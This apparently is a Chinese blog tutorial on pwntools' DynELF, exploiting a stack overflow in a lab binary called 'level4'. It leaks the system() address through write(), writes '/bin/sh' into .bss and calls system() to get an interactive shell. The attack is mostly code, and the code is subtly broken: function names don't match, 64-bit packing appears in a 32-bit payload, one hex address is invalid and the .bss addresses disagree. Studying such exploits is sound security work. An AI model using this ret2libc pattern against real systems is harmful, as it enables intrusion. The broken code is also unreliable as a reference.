DyELF原理

DyELF原理

DyELF是专门用来应对没有libc情况下的漏洞利用模块,在提供一个目标程序任意地址内存泄露函数的情况下们可以解析任意加载库的任意符号地址

应用示例

目标程序源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulfun(){
char buf[136];
read(0, buf, 0x100u);
}

int main(int argc, char** argv){
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

上述代码的意思是从输入缓存区中读取数据,并输出“Hello,World”,程序运行如下

可以看出上面的代码的read()是存在栈溢出的,buf数组只有136个字节,而read函数要读取256个字节,远远超出buf数组的大小,导致栈溢出漏洞

分析

由于程序开启了NX保护,在堆栈上无法执行shellcode,并且在程序中没有可利用的命令执行相关函数,所以只能去调用libc库中的system函数和/bin/sh字符串

通过objdump查看函数信息,得到read和write函数的地址,所以可以通过这两个函数来泄露libc中的system地址

leak代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
elf=ELF('./level4')
write_plt = elf.symbols['write']
read_plt = elf.symbols['read']
vulfun_addr = p32(0x0804844B)

def leak(addr):
payload1 = b'a'*(0x88+0x4)+p32(write_plt)+p32(vulfun_addr)+p64(1)+p64(addr)+p64(4) #write(1,addr,4)
p.sendline(payload1)
data=p.recv(4)
return data
d=DynELF(leak.elf)
system_addr = d.lookup('system','libc')
print(system_addr)

上述代码利用栈溢出去调用write函数,泄露system的地址,然后再次修改write的返回地址为vulfun_addr函数,再次进去造成栈溢出

在得到system函数的地址后,就需要去写入”/bin/sh”字符串了,这里需要从.bss端写入。使用readelf查看程序的.bss段,如下.bss地址为0x0804a024

下面使用read函数将”/bin/sh\x00”写入指定.bss端,代码如下

1
2
3
4
bss_addr=0x0x04a024
payload2 = b'a'*(0x88+0x4)+p32(read_plt)+p32(vulfun_addr)+p64(0)+p64(addr)+p64(8) #read(0,addr,8)
p.sendline(payload2)
p.sendline("/bin/sh\x00")

下面构造第三次栈溢出,我们已经得到了system()函数地址和将”/bin/sh”写入了bbs端,也可直接调用,下面就是通过栈溢出去调用system函数,代码如下

1
2
payload3=b'a'*(0x88+0x4)+p32(system_addr)+b'a'*4+p32(bss_addr)
p.sendline(payload3)

将上面的三部分聚合起来,则代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
elf=ELF('./level4')
p = process("./level4")
write_plt = p32(elf.symbols['write'])
#read_plt = p32(elf.symbols['read'])
read_plt = 0x08048310
vulfun_addr = 0x0804844B

def leak(addr):
payload1 = b'a'*(0x88+0x4)+write_plt+p32(vulfun_addr)+p32(1)+p32(addr)+p32(4) #write(1,addr,4)
p.sendline(payload1)
data=p.recv(4)
return data
d=DynELF(leak,elf=ELF("./level4"))
system_addr = d.lookup('system','libc')
print("system:"+str(system_addr))
bss_addr=0x04a024
payload2 = b'a'*(0x88+0x4)+p32(read_plt)+p32(vulfun_addr)+p32(0)+p32(bss_addr)+p32(8) #read(0,addr,8)
p.sendline(payload2)
p.sendline("/bin/sh\x00")
payload3=b'a'*(0x88+0x4)+p32(system_addr)+b'a'*4+p32(bss_addr)
p.sendline(payload3)
p.interactive()

运行成功

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信